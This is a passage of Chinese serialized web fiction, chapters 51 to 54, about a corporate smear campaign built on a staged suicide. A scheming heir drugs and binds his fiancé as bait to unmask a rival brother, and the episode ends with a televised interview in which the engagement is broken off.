陪酒的男男女女不知道发生了什么,还以为遇到了大事,个个如同受惊的鸟雀绷紧了神经,直到被保镖无声地逐次驱离后才松了半口气。 纪柏达懒洋洋地斜倚在沙发软处,依旧将酒杯握在指间,温吞地含入半口后,方才垂首看向地上跪伏的身影。 被叫进来的人蜷缩着成一团,头颅低垂,肩胛微微颤抖。 便衣保镖不再像刚才那般悠闲地坐着,而是无声矗立在纪柏达身后,纹丝不动。 纪柏达抬抬手,语气熟稔,似乎两人是多年未见的好友。 “哎呀,快坐起来说话,我说你都三十几的人了,怎么每次都这样客气呢。” “纪先生,帮帮我,”蒋山终于开口,声音不高,却带着利器划过玻璃的锐利,“只有您能给我机会报仇了!” 蒋山说完后身体猛然一缩,对纪明冉的恐惧如同无形的鞭子鞭挞在他身上,只是说说便害怕得嘴唇无意识翕动,始终发不出个成形的音节。 不知过了多久,他才找回自己的思路,颤颤巍巍地从身后的文件包中摸出份文件递给纪柏达,一副纪柏达不看便誓不罢休的模样。 “附件,一定要看的附件。”蒋山说完顿了顿,头摇摆成拨浪鼓,又连忙重复了好多次“我没看”。 纪柏达微微倾身,示意身后的保镖把东西拿过来,说实话他后面这几次,每每见到蒋山这人都有些怵。 蒋山情绪激荡极端,显然已经不太正常了,所作所为已经不能用逻辑去分析,光是看着就叫人心里不舒服。 他接过保镖递来的文件,边缘处还粘着湿冷的汗水,纪柏达忍住恶心,将几张白色的纸张取出来。 这是一份关于兰临市小山口古建筑的汇总资讯,构陷污蔑、泼脏水、扣帽子,越往后看越让人不寒而栗。 纪柏达看完后,原封不动地将文件装回放在一旁,然后坐直了身子,他瞥了眼依旧在状态外瑟缩着身子的蒋山。 确实完全不知道他亲手送来的,是一份能将他自己杀死的文件。 正如蒋山喊着向纪明冉复仇,但是这场报复计划里需要的是献祭生命。 按照文件上的谋划,在纪明冉一手创办的科技公司初代产品发布会前夜,蒋山会留下封遗书后,默默地死在小山口施工地,等待第二天被人发现。 如果计划顺利实施,纪明冉的发布会很可能会由于恶性事件的发酵“摔得粉身碎骨”,并且由于小山口项目本身的重大失误,他还会被纪氏集团高层撤职处理,陷入完全被动的局面。 或许纪明冉失去的,会多到众人不敢预估的地步。 所以对纪柏达来说,这就是件不亏本的买卖。 可是纪柏达却迟疑了,因为他想到了逝世的二哥纪焯。 这两件事情的作风几乎如出一辙的恶心,背后的那位操纵手将巨大的利益放在纪柏达眼前,在看不见的地方与他做心理博弈。 人性还是利益?看似任由选择,但实际上纪柏达只是那人手中趁手的工具,要为他杀人,也要为他背负骂名。 可是,令人心动的“奖励”就在面前,做还是不敢做? 纪柏达指间捻着一支未点燃的香烟,烟丝随着他缓慢搓动而簌簌飘落,细碎如尘,静静洒在蒋山眼前的地毯上。 50-60 第51章 第五十一章蒋山死亡凌晨,纪明冉从…… 凌晨,纪明冉从公司地下车库径直走进了公司专用电梯中,步伐紧凑沉稳。 似乎无论面对怎样风云诡谲的局面,他都有足够的能力,游刃有余地掌控全局。 肃山则像往常般,跟随在纪明冉身后进入电梯,按下了总裁办公室楼层的按键。 自从跟着纪先生从R国回来后,他明面上作为总助为集团办事。 但就职责范围而言,可以说他更像纪明冉的私人助理,在众人眼中,是跟随了纪明冉十余年的绝对心腹。 电梯抵达高楼,距离今日傍晚19:00的发布会,还有17个小时,今夜注定是不会平静的夜晚。 兰临市小山口项目施工场地发生意外,亡者的遗书已经开始小范围在网上传播,如果在清晨前不及时处理,关注度极有可能会得到爆发式的增长,进而影响到晚上的产品发布会。 肃山查看完手下人汇报上来的消息,有些急躁: “先生,大部分媒体已经拦住了,唯独采协媒体,他们不仅拍到了现场照片,并且态度十分强硬,拒绝与我们的工作人员沟通,坚持要秉承‘事实’报道。” 纪明冉似笑非笑:“事实?恐怕已经变为一串数字,进了采协的银行账户里。” 他走出电梯,大步踏往总裁办公室,尽管是凌晨公司管理层以及核心员工均已到位。 整栋办公楼的氛围肃穆而紧张,员工们皆心知肚明敌人有备而来,今天绝对是一场“恶战”。 Cara作为肃山的搭档,同为公司的高级助理,是位非常干练的女性。 可以说凡是递送至纪明冉眼前的文件,无一不是由她审核过目,除此之外,她还与肃山配合,有条不紊地维系着公司各项事务执行与保障,以及辅助决策、协调内外。 Cara见到纪明冉,如同终于等来救星,捧着平板快步走到纪明冉的侧后方,电子屏幕上是专门对于此次恶性事件做出的解决方案和实施进度,按紧急程度精确排序。 “纪总。” Cara先像纪明冉打了招呼,随后朝着身旁的肃山礼貌微笑着点点头。 “嗯,调查清楚亡者的信息了吗?” Cara没有看任何资料,对答如行云流水:“蒋山,男,37岁,从事建筑设计,事发前在纪氏集团旗下某家小公司上班,在此之前是青平市青芜涯度假酒店的项目建设团队的助理。” 纪明冉的记忆力很好,Cara说完,他就想起那天青芜涯林间戴着眼镜的瘦小男人,这人曾多次对贺琨出言不逊、行为挑衅,并且专业能力差,综合素质低,确实是他主张辞退。 “遗书主要内容?” “网传遗书分为三个板块,言语略微混乱激切,但行文逻辑清晰。首先,立下青芜涯项目被恶意辞退事件的弱势形象;其次,捏造维权过程中意外发现小山口项目审批程序寻租腐败,施工过程偷工减料;最后,用死亡上升事件的影响力度,引发古建筑保护争议,并对公司以及您的进行大量负面诬陷。” Cara总结得很清晰,同时将复印件递至纪明冉手中。 诚如她所言,尽管是凌晨,公司的热搜词条在实时上依旧在往上攀爬。 #坤和集团巨资买通审评专家和招标单位,国家古建开发沦为利益交易场# #公司恶意辞退致员工被迫身亡# #遗书揭露资本的黑暗# 纪明冉坐到办公椅上快速浏览,与其说是封真情实感的遗书,不如说是篇满是技巧的营销稿子。 很多内容根本经不起推敲,但是澄清比起造谣,总是要花费数倍的功夫与时间,现在产品发布在即,最稀缺的便是时间。 “Cara,你先去联系小山口古建评估专家组的李教授,务必请他出面澄清项目审批合理合规,不存在‘寻租’说法。” 纪明冉思忖半刻又继续道:“至于恶意辞退事件以及施工事件协调各方拿出证据,确保公关部、法务部、市场部核心成员同步汇报事件进展。” 尽管事态压人,纪明冉依旧保持着得体的形象,接连又下达几个指令,安排各部门加急落实,Cara心知事件的紧急程度,得到纪明冉的决策后便立刻回到办公室往下传达。 肃山安静站在办公室内等待吩咐,纪明冉翻阅完Cara刚才拿来的所有资料,抬头问道:“肃江那边调查的怎么样了?” “蒋山死亡之前去找过纪柏达,两人之间存在某种交易,蒋山才能再次进入纪氏旗下的那家小公司工作。” 不对,直觉告诉纪明冉,无论是这件事,纪父染病卧床,还是之前纪焯身亡一事,都不是纪柏达所为,此人应该只是明面上的晃子。 背后的操纵者随着野心的膨胀,露出来的马脚已经越来越多。 蒋山这人他是记得的,当时阿琨就曾提醒过此人行事易走极端,不欲惹上这烫手的芋头。 纪明冉考虑到这个原因,为彻底肃清贺琨身边存在的潜在威胁,派人将此人遣送出国处理。 但是为什么蒋山会躲过他的视线,重返国内,还联系上了纪柏达。 在Cara呈上来的这份报告中,清晰地指明蒋山在日常工作以及生活中,精神疾病的外化已经极为严重,期间定是遭遇了非人的折磨。 那个利用蒋山的人,指不定还将蒋山身上发生的所有不幸,栽赃在了纪明冉身上。 那么,这个人会是谁呢? 沉默安分的纪姝、敦和内敛的纪清嵩,还是明媚阳光的纪禾? 纪明冉注视着报告上的文字,指腹划过光滑的页面,拨弄着页尾的直角,好戏才开场呢。 “查纪清嵩。” 两个小时过去,事件来到凌晨四点,热搜词条已经撤下,但流言蜚语在对手的加注下依旧传得沸沸扬扬。 纪明冉要发布的产品与其背后的技术,是跨时代的创新,意味着这件事本身自带着热点,而死亡、腐败、强权逼人又是最抓眼球的话题。 各方平台上大大小小的账号为了流量,也会有胆子大的要站出来分一杯羹,哪管事情的真相是什么。 纪明冉依旧风轻云淡地在办公室内调度决策,他不着急,也不能表现出任何慌乱。 “叩叩叩——” 办公室的门被再次敲响,肃山抬眸便看见了不可能会出现在此时此地的人,小贺先生。 他知道最近小贺先生与纪先生之间出现了矛盾,两人维持着表面的平和,但是小贺先生平日里都在学院那边,唯有周末的时候会来公寓,像是在完成什么必做的打卡任务。 而纪先生每个周末都会尽力将那段时间空出来,在公寓里等待。 “小贺先生,您是有什么事吗?” 贺琨看见了纪明冉公司给李老师发的邮件。 出于方便的原因,李老师将自己对公邮箱的账号交给了师兄和他。 今晚贺琨研究论文入了神,等结束的时候,时间已经来到了凌晨。 当看见老师的邮箱有新的消息通知时,他就感觉有些不对劲,担心遗漏什么重要通知,当即查看那封邮件。 于是迅速地了解到了蒋山死亡事件的前因后果,以及邮件的来意。 事件中的人,贺琨记得。 他瞬间便想起来,某天晚上纪明冉风尘仆地回到他们在兰临市同居的公寓,莫名地说问他——“蒋山,消失了,开心吗?” 贺琨以为只是简单的辞退员工,但是看来此事显然不简单,他穿上外套,快速出了门,于是现在站在了肃山面前。 “我来找纪明冉。” 肃山没有多言,他知道纪先生定会同意,于是直接起身为贺琨引路。 纪明冉正在思考着如何将损益将到最低,他眸光微转,最好借此机会确定背后使绊子的人,风险何尝不是机遇。 “先生,小贺先生来了。” 纪明冉听见肃山对来人的称呼,忽地抬头,只见门口站着熟悉的青年,日光灯冰冷的白晕里,无声地立在磨砂玻璃门外,身形在透光处拓印下了一道棱角分明的剪影。 他突然想起很久之前,纪焯葬礼的那天,贺琨守在纪宅门口,站在那束街灯之下,担忧地等待着自己,只为接他去吃一顿晚餐。 纪明冉那时还想,贺琨绝对是世界上最难搞的人。 因为青年就像只赖皮小狗,怎么甩也甩不掉,似乎满心满眼,永远只会装着自己一人。 世事难料,纪明冉无声而叹。 他起身往前走了几步,来到待客区域,尽管知道贺琨所来的意图肯定是为了李教授,但还是私自期待着,青年是否也为自己一丝担心。 纪明冉看向贺琨,柔和道:“坐着说?” “古建审批程序是我带队负责的,澄清直播我来做。”贺琨略过流程,直接道。 “李教授在业界影响力更大,在群众心中更有信服力,你还不够。” 纪明冉说的是事实,但偏偏选择了更尖锐的言辞,想让贺琨知难而退。其实是他带着私心,并不希望青年卷入这场风波之中。 纪明冉的否定很客观,贺琨愣了愣,但并没有改变主意:“可是李老师只负责前期采集收录,并未涉及开发项目审批一事。” 第52章 第五十二章请原谅我纪明冉看了眼肃…… 纪明冉看了眼肃山,肃山接收到眼神后,安静地退出办公室,离开时还细心地将门合上,密闭的空间内只剩下两人相对而立。 他收回视线,目光再次落在贺琨身上,从R国回来后,贺琨和他说话的次数屈指可数,如果忽略现在正在争论的事实,纪明冉其实是喜悦的。 视而不见比怨恨更可怕。 他半蹙眉头却笑了起来,琥珀色的瞳仁被长睫掩去一半:“交给我处理,别担心。” 耳熟的说法,加上熟悉的怪异感,贺琨看着纪明冉的笑容,寒意窜上后背,他怀疑地皱起眉,“纪明冉,你又在瞒着什么?” 纪明冉没有解释,反而缓缓地靠近,两人的呼吸近乎交错在一起。 除了被侵犯安全距离的不适之外,贺琨还不得已承受着莫名的压迫感。 身后便是办公桌,他握紧了拳头抵上纪明冉的胸膛,斜睨上那张完美的脸,“疯了又?” 话还没说完,纪明冉的左手忽然按压住贺琨的后腰,直接将人往自己身上压。 贺琨今晚出门的比较着急,单薄的黑色背心外随便加了件厚夹克,甚至没有来得及拉上拉链。 小腹瞬间紧贴上了纪明冉冰冷的皮带扣,然后就是清晰的凸起。 他浑身肌肉都紧绷着,本以为纪明冉要和他打架,结果没想到是想“打架”。 看来真的疯了,什么关头?什么场合? 贺琨越发觉得自己根本就没好好认识过纪明冉这个人。 他屈肘撞向男人的胸口,趁着禁锢的力道有所松懈,立马拉开距离,顺势反扣对方手腕,旋转身体一把拧住对方的手臂,将人按压在了办公桌上,整个过程流畅利落。 纪明冉丝毫没有反抗,被扣压在办公桌上也不叫唤,胸腔被压住后导致声音有些沉闷,笑道:“解气了?” 尽管处于劣势,纪明冉依旧神情悠然,显尽上位者的从容,贺琨的反击于他而言,似乎只是增添情趣的打闹。 “你到底在谋划什么?”贺琨咬牙切齿。 话音刚落,便感觉身后不对劲,他猛然抬头,从镜面中捕捉到个熟悉的身影。 面部与肃山极为相似,但是气质截然不同,一股熟悉的化学味道袭来,还未来得及作出反应,他便失去了意识。 纪明冉恢复了自由,站起后迅速抬手将昏迷的贺琨揽进怀中,弯腰将人横抱起,往办公室背后的休息室内走去。 肃江并没有跟上去,而是安静地站在原地,等待纪先生再次出来。 休息室内,遮光的窗帘被密不透风地拉严,更衣镜前随意摆放着的几对名牌袖扣,衣橱内挂着两三套以供更换的西服,四处充满了纪明冉的私人痕迹。 一盏昏黄的台灯在床头幽幽亮着,暖色的光晕在贺琨锋利的眉骨下投射出柔和的弧,映得耳廓泛着薄红。 价格高昂的定制衣料因为柔软而被纪明冉选中,他将其处理后用来充当临时的“绳子”。 昏迷的贺琨被轻柔地放到软床上,纪明冉半跪在地,温冷的指节扣住脚腕,卡住运动鞋的后跟轻压,鞋子很快整齐地放在了床边。 只是抬手时,拇指再次有意无意地划过凸起的踝骨。 窸窸窣窣又是一阵,纪明冉终于完成,最后将蓬松的被子为贺琨盖好,不看那被捆住手脚,确实温柔又体贴。 他坐在床沿,指尖悬在半寸之上,隔空描绘着贺琨的轮廓,终是俯下身子在青年唇边落下一吻。 “原谅我。” 纪明冉知道昏睡的贺琨注定无法听见,但是这是他必须要做的事情,尽管代价是将贺琨置于险境。 他对自己有着不容置疑的信任,仿佛早已预见所有尘埃落定的时刻,笃定着事情的发展不会背离预期。 而这,只会是场有惊无险的搏斗。 纪明冉走到休息室的门口,眼底的从容没有半分动摇,唯有最后关门时看向贺琨时,眼底掀起了微不可查的涟漪。 肃江看了看腕表刚好十分钟,“先生,事情已经按照您的吩咐办妥了,我们制作了有关贺琨先生结交政治掮客的虚假音频,已经传输到了他在兰临市临时办公的电脑上。” “嗯,不要太轻易让对方得手,否则会打草惊蛇。”纪明冉走到落地窗前,城市高楼的缝隙间月亮已经西沉。 “如果顺利的话,过不了多久就会有人来找贺琨,你叫个机灵的人来门口守着,务必“亲自”送他们进入访谈直播间。” “好的,先生。” 肃江望着纪先生面色沉静地调度着一切,将自身的感情也都冷静地纳入布局。 运筹间透着不言而喻的狠戾,却也因这份近乎冷酷的清醒,生出几分让人不敢靠近的寒意。 想起被药物迷晕的贺琨先生,饶是肃江这般平时常与性命打交道的人,也有些于心不忍。 贺琨先生的那份真心,他们何尝不是全部看在眼底,但对于纪先生的决定,他和肃山从不质疑、从不背叛。 — 时间一点一滴的流逝,贺琨看着时间逐渐来到早晨7点,却完全不知道外界发生了什么。 自从醒来后,他便满心焦急,但只得被捆在休息室的床上,连人身自由都没有。 他不知道纪明冉到底想做什么,但是绝对不止于访谈澄清那么简单。 李老师年事已高,几乎将一生都献给了国家的建筑业,贺琨受老师照顾多年、悉心栽培,才得以有今日小成。 他绝不能让老师的一世清誉被纪明冉利用,最后毁在纪家那些肮脏的勾心斗角里。 贺琨艰难地挪动着身体,捆住脚腕的绳子已经将整只脚勒到充血发白,尖锐的刺痛顺着那圈痕迹直往心里钻。 他看着床头的台灯,继续伸手去够,只差一点点台灯就可以掀翻打碎,他就能得到锋利的玻璃碎片。 “啪——” 贺琨终于扬起笑容,台灯按照他控制的方向倒下了,琉璃灯罩被掀翻砸在木柜上,磕到坚硬的桌面后便炸开了。 一片呈锐角的碎片飞起擦过贺琨的脸颊,很快拉出长条的血迹,他似乎感受不到疼似的,立马乘胜追击地捞起块较大的玻璃碎片,坐起身利索地将脚腕上的绳子割断。 就在这时,门口突然响起打斗声,贺琨心中困惑,但是手上动作愈发块起来,以防出现意外。 门外,孙勇费了好大一番功夫才将门口看守的保镖解决。 他只有十五分钟的时间将贺琨带到访谈间,十五分钟之后,此层楼的电源就会再次恢复,而帮他吸引人流的那位搭档最多也只能再撑六分钟。 将保镖挪到不起眼的角落藏起来,孙勇立刻将门打开,看见血迹斑驳的床单时,他还有些没反应过来。 贺琨正一脸戒备的看着他,赤裸着脚站在地面上,眼神却透着股攻击性极强的野性。 孙勇原本还在心中怀疑今天的运气是否有些过于顺利了,但是见到贺琨这副惨样后,最后仅剩下的那丝怀疑也散去了。 纪明冉这人真是连对老婆都不带心软的。 “贺哥,是我啊,小孙。” 贺琨戒备地看着眼前人,很快就想起来此人是之前兰临市审核团队的一位年轻人,和他是同学院的学生。 “你怎么在这里?” 孙勇拿出上面人交代好的说辞,满面真切道:“是纪柏达先生让我来的,哎呀快走吧,贺哥,再晚些就赶不上了。” 此人绝对古怪,贺琨留了个心眼,方才看向挂钟,剩余的时间确实不多了,他立马跑去纪明冉的衣橱里拿出套西服快速更换,一边系着领带,一边说对孙勇说道:“带路,快。” 访谈间已经搭设完毕,纪明冉的公司邀请了新闻业内,以真实敢言而出圈的团队进行直播。 该新闻公司不仅丝毫不避讳这烫手的芋头,反而跃跃欲试。 李教授坐在休息区域的椅子上等待着开播,银发梳理得一丝不苟,鼻梁上架着玳瑁边框眼镜,镜片后的目光温和却有分量。 Cara站在纪明冉身后,指挥着现场的秩序。 此时,门却被突然打开,一道清亮悦耳的音色响起。 “我来接受访谈,本人是负责兰临市小山口历保开发评审事宜的工作人员,”贺琨推开门直接走进室内,在众人的视线下大步迈向李教授身旁,“我叫贺琨,李教授的学生之一。” 新闻公司的员工对信息十分敏锐,此话一出,已经有人开始拿出手机在暗处偷偷拍摄。 Cara发现后,立刻眼神示意她的助理去阻止协商。 贺琨没有搭理现场的骚动,只是走到李教授身前,目光中带着恳请,“老师,请让我来吧。” 李教授脊背挺得笔直,如同严父般看向贺琨,眼神中有对原则的坚守,也带着不容闪避的沉重,声音不高,每个字都砸在实处。 “小贺,堂堂正正地告诉老师,你到底做没做?” “没有。”贺琨低头垂目,吐出的字句却无比清晰坚定。 李教授托了托眼镜,拍拍贺琨的肩膀,终于露出了笑容,眼尾的皱纹里满是对小辈的疼惜。 他是闯了大半辈子的人,对目前的情况,内心自然是有着基本判断和预感,李教授没有多言,只是拂拂手,“天塌有个高的顶着,小贺日子还长呢。” “老师,对不起了。”贺琨恭敬地垂头道歉,然后看向孙勇。 他听懂了老师的话中意思,心中更是百般不愿让老师来替他承担风险,只得先强硬地派人将老师请离现场。 贺琨转身看向纪明冉,不过几步之间,工作人员匆忙来往,两人之间的似乎隔着再也跨域不过的河流。 肃山出现了,在纪明冉身边耳语,极为认真地汇报着什么。 纪明冉思虑着,或许是因为贺琨无声的固执服了软,再抬眸时默许着点下头。 孙勇得以带着李教授离场。 第53章 第五十三章水落石出演播厅的嘈杂声…… 演播厅的嘈杂声不断,距离开播还有半个小时,临时休息间内,贺琨对着镜子默不作声地整理着西装领口。 纪明冉不知何时进入的房间,站到贺琨身后,接过他手上的动作,似寻常爱侣般为青年整理领结,柔声安抚道:“去吧,不会出事的。” “孙勇是你放进来的,目的就是将我带到这里。” 纪明冉瞳孔微缩,随后笑道:“阿琨真聪明,不过知道太多不是好事。” 贺琨如同深陷于迷雾之中,他不知道纪明冉的目的是什么,又与自己有着什么关系,再三的利用让他已经看不清来时的路。 似乎只能往前走,接受纪明冉带来的一切。 贺琨脑中快速地思考着,却都是漫无边际的猜想,除了让他对未知变得更加恐惧以外,并没有什么作用。 到了最后,他近乎偏执地回忆着和纪明冉的过往,还在疑心自己是哪里做得不够,所以得不到纪明冉的半分信任。 不然,为什么纪明冉与上一世的变化如此之大? 胡思乱想的时候,短短的几分钟也变得格外漫长,纪明冉已经为他重新系好领结。 他最后怀着一丝期待,抓住那只退开的手,仰俯之间,两人对视,轻声唤道:“纪明冉” 低声呢喃姓名的声音似乎从远处传来,许是在曾经最喜爱的人面前,贺琨也呈现出了不为人知的软弱,声线的颤抖蔓延到了指尖。 纪明冉没有说话,他抬眸环视这件休息室的布置,推开了贺琨的手转身离开,“访谈很快就会结束*的。” 贺琨心重重落下。 垂头嗤笑中盛满自嘲,一股温热的泪痕划过脸颊,泪珠在下颌凝结成珠,于无声中坠落。 眼泪吗?他迟疑地摸了摸脸颊的湿意,可真丢人啊,加上重生的日子,都活了30多年的人了。 贺琨抬眸视着纪明冉离开的背影,光鲜亮丽、游刃有余。 本应该是业内知名的珠宝设计师,而现在却成为风光归国的纪家小爷,这双曾经用来执笔的玉手,如今却带着常年握枪留下的薄茧。 按照纪明冉提起曾经的日子,他在罗德庄园应当是连饭都吃不饱的可怜孩子,而现在的身手体量,与上一世纤细清冷的模样堪称天壤之别。 贺琨脖颈间的淤青已经消失,但是那种强烈的窒息感却无法忘怀。他当时沉浸在无尽循环的噩梦中尚未回神,却忽略了那些细节。 纪明冉的质问,以及神情中从未有过的凶戾。 可“26岁”只有重生前的贺琨和纪明冉才知道其中的含义。 所有的线索由点串连,他脑内闪过一个令人毛骨悚然的猜测——纪明冉也重生了。 所以,是报复吗 贺琨看向对面明亮整洁的访谈室,已经没有退路,他扣住桌面的指尖压到泛白,缓缓坐到了椅子上才得以喘息。 眼前浮过满是鲜花的求婚夜,那时候他真的以为幸福近在咫尺,如果猜得没错的话,在兰临市照顾发烧的纪明冉那晚应当就是所有阴谋的开始。 他为之努力去靠近的职业、把不合适的成熟稳重扮演入骨,以及哥哥的失踪和集团被做空的项目,事到如今还被不知名的利用着,在对方眼中定是愚蠢又可笑吧。 贺琨,一个被玩弄于股掌之间的可怜虫。 那些他以为纪明冉平日里那些拈酸吃醋的胡话,原来就是真心话,而他一次又一次地上赶着倒贴,不知在纪明冉眼中是多么下贱到令人作呕。 贺琨眨了眨眼,空泛的胃部升腾起灼热的痛意,纪明冉可以不用花费那么大的功夫,如果真的恨到要他去死的话,何须装出那般深情不悔。 敲门声响起,一位工作人员歪进脑袋,看向那抹背对而坐的背影。 “贺先生,时间到了。” 贺琨面色略显苍白地起身,精神恍惚地踏入对面的房间后,在主持人示意下走向访谈区。 “贺先生,感谢您代表小山口历保评审专组接受我们的采访。” 他压抑下所有情绪看向镜头,提起笑容。 主持人开场白后直入主题,“关于近日网传的您在兰临市开发项目中,协助纪明冉先生挪用公司资金,赠送明显超出正常礼尚往来的礼金,您有何回应?” 一组数据投影在大屏幕上,贺琨提起精神解释道:“这是项目全部资金流向的银行流水,每一笔支出都有对应票据和验收报告。关于‘挪用’的指控” 此时,首都西郊,纪家别墅区的小花房内。 一位黑色西装的男子低头询问:“纪四先生,果然不出您所料,纪明冉极为看重贺琨,那我们的人何时动手切播孙勇拿到的录音?” “录音有可能是假的。”纪清嵩坐在轮椅上为身前的兰花浇水。 黑衣男人脸色大变,面色寡白道:“不会吧,先生,为了拿到这段录音,我们的人和纪明冉的人还起了正面冲突,两死一伤。” “急什么,只要能添堵就是好的,”纪清嵩开始修剪花枝,“晚上不是有发布会吗?不论真假,在访谈上公开录音。” 他沉吟了半刻继续道:“如果是真的,我反倒有些瞧不上他了,让现场的人手脚利索些,别留下什么把柄。” 主持人的耳麦轻微异响,不过瞬息之间,团队不知为何突然临时更换了下一个采访问题。 但是镜头在前,主持人依旧保持着良好的专业素养,状似不经意地转头瞥过坐在设备旁的某位员工,两人在空气中交换眼神后,她稳定心神,重新组织语言。 贺琨回答完毕后,主持人脱离原定访稿直接问道:“贺先生,您是否利用职权或职务上的影响,为您的未婚夫纪明冉先生经营活动谋取利益?” 贺琨闻言心口猛然一跳,从坐到这个位置上开始,他就在猜测到底哪个环节会出现纰漏。 听见这个未在访谈大纲之上出现的问题后,随之而来的是反而是潮水褪去般的平静。 镜头捕捉着他脸上的每一个细节,尽管内心已经在歇斯底里,可贺琨连悲伤都不配流露,他看着对面的主持人笑了。 “首先不存在利用职权或职务的影响谋取私利,其次纪明冉也并非我的未婚夫,我与他的婚约已经取消。” 演播厅瞬间哗然,原本只想紧追热点报道,没想到在访谈过程中爆出了意料之外的热门话题。 屏幕上的弹幕疯狂地滚动: [假的吧,前天纪总公开出席收手上还带着婚戒] [普通人的性命和少爷们的婚礼比起来算什么] [拒绝历史建筑胡乱修复改造] [但贺少确实并未带婚戒哎] [不要转移话题!不要转移热度!] [我已经嗅到豪门狗血的味道] 最先反应过来的人是纪明冉,贺琨话音刚落,他便对着导播台道:“切断访谈间画面,转接现场拍摄。” 肃山与纪明冉配合完美,几乎是在同时,他隐去身影直接走到演播室角落,抓起一名鬼鬼祟祟的工作人员,直接提起对方的衣领,拖出了室内。 —— 办公大厦的落地窗外阴云厚重,首都的冬天很少会出现碧蓝如洗的天空,氛围压抑至极。 纪明冉背对着房间而站,左手随意搭在窗框上,右手随意地将手机凑到耳边,嗓音轻慢而悠然:“原来是你啊,四哥。真是让人好找一番。” 身后的地板上,刚才欲图在直播中途捣鬼的工作人员蜷缩成一团,深色衬衫被血渍浸透,黏在起伏的后背上,额前的碎发被冷汗黏住,遮住了半只肿成青紫色的眼睛。 听见纪明冉拨通的电话,像是见到了希望,竭尽全力地大叫起来,“纪四先生!救我!救命啊——唔呃——” 肃江抬脚压在此人的背脊上,肋骨处就发出细碎的闷响,“很吵。” 肃山站在距离门口最近之处,见状挑了挑眉。 惨烈的声音同时顺着听筒传到纪清嵩的耳边,他对着电话轻笑一声,“明冉,有话好好说嘛,别伤了自家人的和气,”句尾里带着不加掩饰的寒意,“小贺的录音还在我手上呢。” 纪明冉嘴角勾起半分嘲讽,眼神里却连半分波澜都没有,“是吗?四哥不妨看看,你的手下带回去的音频到底是什么?” 除了现场直播间内的这份原件,其他备份都已经被肃江利用技术损毁,剩下的只是段毫无意义的音频。 纪明冉不惜以贺琨入局,为的就是查到将纪焯杀害后,现在又要对他动手的人到底是谁。 自订婚的那日开始,比起将青年藏在无光的地方保护起来,纪明冉几乎是毫不避讳地展示两人之间的关系。 无论在觥筹交错的宴会、严肃正式的会议,亦或人声鼎沸的街头,他都毫不掩饰对贺琨的重视。如同盘踞在珍宝旁的恶龙,看似慵懒随意地将青年护在羽翼之下,实则不容半分侵犯。 大多数人都识趣地退避三舍,但也总有如同纪清嵩这般满怀恶意地挑衅之人,觊觎着能得到拿捏纪明冉的筹码,将主意打到了贺琨身上。 所以捏造有关贺琨的虚假音频就是最好的饵料。 纪明冉无所顾忌地利用着一切。 蒋山身亡事件发生后,从贺琨看见邮件的那一秒,计划便开始了。 无论是贺琨被困休息室,还是办公楼被孙勇闯入,以及最后演播室内的直播,都是纪明冉的策划。 原本是敌暗我明的劣势地位,可当纪清嵩传达“切入音频”的指令给演播室现场的潜藏者时,便落入了纪明冉编织好的陷阱中。 肃江顺藤摸瓜,很快精准定位到了纪清嵩,背后的操纵者终于浮出水面。 第54章 第五十四章下来回家尽管听见了取消…… 尽管听见了取消婚约的说辞,纪明冉也没给半分多余的眼神。 因为贺琨的想法永远越不过纪明冉的决定。 因为被偏爱,因为被纵容,因为是权力的上位者。 而现在还有更重要的事,纪明冉要去做,他站在幕后下达完切播的指令后便离开了,也没有哪位报道记者敢上前阻拦采访。 属于贺琨的“出演环节”结束了,看似无事发生,又似乎已经在暗处悄然地发生了翻天覆地的变化。 他西装革履的坐在台上,聚光灯依旧照着他,采访人员蜂拥似地围住他。 在镜头下,随手抓起穿上的黑色西装倒是意外合身,衬得这位贺家少爷,愈发明艳愈发锋利,多么精致啊,内里已经被搅碎坏掉了。 那双毫无生机的眸中倒映着嘈杂。 “贺琨先生,请问您刚才说的取消婚约一事是否是真的?” “贺先生,关于取消婚约的原因可否透露一二?” “请问取消婚约是事宜是您先提出的?还是纪明冉先生主动提出?” 新闻公司总是时刻准备着的,明明在洽谈合作中,今天的内容仅限于澄清访谈,但现在却连专业的相机以及支架等相关设备全都拿了出来,怼着贺琨就开始拍。 突然,临时演播室的侧门被推开,先踏入房间的是一双设计极简低调的男士皮鞋,在光线下反射出冷硬的光泽,顿时吸引走众人的注意。 来人终于露出了面容,乍看似乎与贺琨相似,可是仔细观察起来却又大不相同,气质敦和而禁欲,带着与生俱来的礼教,不容半分冒犯。 “哥?”贺琨看向突然闯进来的男人,原本黯淡的眼神里重新有了神采,他不敢相信地轻声喃喃道。 自从得到贺青峰的消息后,贺琨一直在为接回贺青峰这件事忙前忙后,按照计划原本应该是在明天才能成功与陈琛的人接头。 贺青峰回国的日期最快也只能是后天,难不成是宋榄那出现了什么纰漏,给了陈琛的手下可趁之机。 新闻公司的带队负责人眼睛一下瞪大了,他看着这些来来往往的大人物,快门都快给按烂了,心里更是乐开了花,嘴角的笑容压都压不住。 看起来,今年高低得回老家上两柱香,先是“小山口历保建筑”的一手资料,然后是“纪贺解除婚约”的豪门八卦,现在又来了个“贺氏集团一把手回归”的独家报道,不得个大了。 贺青峰目光如同鹰隼,瞬间锁定了被围在正中间的贺琨,他迈着沉稳可靠的步伐,无视了所有迎面而来的镜头与质问。 工作人员们还未反应过来,就被贺青峰凛冽从容的气场所震慑,下意识地后退,为来人让出了一条通道。 他径直走到台前,在贺琨身前停住,抬眸沉默地观察起自己的弟弟。 曾经骨子里都是被权力堆砌滋养出来的张扬耀眼,现在却灰扑扑的、麻木呆愣,如同被随意摆弄的人偶娃娃。 他皱了皱眉,在心里狠狠记上纪明冉第二笔,没有多余的废话,带着不容置疑的口吻,拎上贺琨就往外走,“下来,回家。” 贺青峰走在前面,用身体作为屏障,将人群中试探的目光以及冰冷的镜头彻底隔开,两人很快就离开了纪明冉的公司。 车内一片死寂,刘助在前面充当司机,贺青峰和贺琨两兄弟坐在后排,半晌后贺青峰以一种听不出情绪的平静语气开口:“说说。” 贺琨还不知道如何面对现在的贺青峰,或者说贺嘉岂,但似乎依旧和从前一样,什么都没有变,如同一座沉稳的高山屹立在贺琨的心里。 只要贺青峰在,好似没有什么迈不过去的坎儿。 贺琨侧眼轻瞟了瞟贺青峰的面色,根据他多年对他哥的了解,现在的表情应该夹杂着三分愠怒。 贺琨垂头道:“哥,对不起,你的项目被我搞砸了,没能做起来。” “嗯。” 看来没说到点上,贺琨撇头看向窗外,脑袋一歪就靠在了车窗上,想不出来。 贺青峰看着贺琨现在的模样心里就来气,他气的不是贺琨,而是贺琨能把自己折腾成这副惨样的事实。 